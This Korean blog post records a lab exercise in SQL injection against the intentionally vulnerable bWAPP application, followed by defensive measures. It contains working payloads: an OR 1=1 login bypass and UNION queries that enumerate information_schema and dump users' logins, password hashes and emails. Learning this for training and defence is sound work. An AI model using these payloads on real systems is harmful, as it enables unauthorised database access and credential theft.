웹 해킹 & 보안

bWAPP에서 SQL Injection 실습 - SQL 기초

ahhyun98 2025. 5. 11. 14:50

 

이번 포스팅에서는 bWAPP 환경을 기반으로 SQL Injection 기초를 실습한 내용을 정리한다. 

SQL이란 무엇인지, SQL Injection이 어떤 방식으로 이뤄지는지, 그리고 다양한 공격 기법들을 다루어보았다. 

 

  • 실습 환경 : VMware + BeeBox (bWAPP 내장)
  • 취약점 유형 : SQL Injection

 

 

 


1. SQL이란? 

SQL(Structured Query Language)데이터베이스(DB)를 제어하고 데이터를 관리하기 위해 사용하는 언어이다. 

데이터를 검색하거나 삽입, 수정, 삭제할 때 사용되며, 웹 애플리케이션에서 가장 많이 사용되는 언어 중 하나이다. 

 


2. SQL Injection이란? 

SQL Injection은 웹 애플리케이션이 사용자 입력값을 적절히 검증하지 않고 SQL 쿼리에 직접 삽입하는 경우 발생하는 취약점이다. 공격자는 이를 악용하여 인증 우회, DB 정보 탈취, 데이터 조작 등을 수행할 수 있다. 

 

예를 들어 다음과 같은 로그인 쿼리를 보자

SELECT * FROM user WHERE id='user1' AND password='1234';

 

하지만 여기에 다음과 같은 값을 입력하면 어떻게 될까? (공격)

id=' OR 1=1 --

 

변조된 쿼리 : 

SELECT * FROM users WHERE id='' OR 1=1 -- ' AND password='1234';

 

=> 조건이 항상 참(1=1)이 되어서 인증 우회가 가능해진다. 

 


3. SQL Injection 실습

 

3-1) 컬럼 수 파악 및 데이터 노출

 

bWAPPsqli_1.php 페이지에서 ' union select all 1,2,3,4,5,6,7#을 입력하여 컬럼 개수가 7개임을 확인했다. 

그리고 응답 페이지를 분석한 결과, 출력되는 컬럼은 2,3,5,4번 임을 파악했다. 

 

DB 정보 추출하기 

 

 

 

이를 활용해 아래와 같은 방식으로 데이터베이스 정보를 노출시킬 수 있다. 

0' union select all 1,version(),user(),database(),5,6,7#

 

 

 

 

3-2) 테이블 및 컬럼 정보 수집하기 

 

공격자는 information_schema를 이용하여 테이블 및 컬럼 정보를 수집할 수 있다. 

0' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

결과:

  • 컬럼 : id, login, password, email, secret, ...

=> 해당 정보를 기반으로 사용자 정보 탈취로 넘어갈 수 있다. 

 

 

3-3) 사용자 계정 정보 탈취하기

 

수집한 테이블/컬럼 정보를 바탕으로 다음과 같은 쿼리로 실제 사용자 계정을 노출시킬 수 있다. 

 

0' union select all 1,id,login,password,email,6,7 from users#

 

ID Login Password(Hash) Email
1 A.I.M 6885...ffd0 aim@mailinator.com
2 bee 6885...ffd0 bee@mailinator.com

 

※ 실제로는 해시된 비밀번호가 출력되며, 추가 공격으로 크래킹을 시도할 수 있다. 

 


4. 방어 방안

해당 취약점을 막기 위한 일반적인 보안 조치들은 다음과 같다.

 

1. 입력값 검증하기

  • 화이트리스트 기반 필터링하기
  • 특수 문자 제거하기(', ", --, #)

2. Prepared Statement 사용 (권장)

SQL 쿼리를 먼저 고정된 형태로 준비하고, 사용자 입력은 나중에 따로 바인딩해서 넣는 방식이다. 

이렇게 하면 입력값 안에 SQL Injection이 있더라도 그냥 문자열로 처리되므로 공격이 안된다. 

 

3. mysql_real_escape_string()

 

기본적으로 필터링 함수로, 특수문자 앞에 \를 붙여서 SQL 구문으로 해석되지 않도록 처리한다. 

하지만 최근에는 이 방식만으로는 충분하지 않다. 

 


5.  느낀 점 & 마무리

이번 실습을 통해 SQL Injection의 원리를 직접 실습하면서 웹 애플리케이션에서 사용자 입력을 얼마나 신중하게 처리해야 하는지 느낄 수 있었다. 특히 information_schema를 통한 메타데이터 열람, 해시값 노출, 인증 우회 등 실질적인 공격 시나리오를 재현해 봄으로써 보안 관점에서의 능력을 키울 수 있었다. 또한, 공격뿐만 아니라 방어 대안도 생각해 보는 시간이어서 더 의미 있었던 것 같다. 

 

앞으로의 실습 계획

  • Blind SQL Injection 
  • POST 방식 SQLi 탐지 및 Burp Suite 활용
  • 인증 우회 및 관리자 권한 탈취 시나리오
  • WAF 우회와 Bypass 기법

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.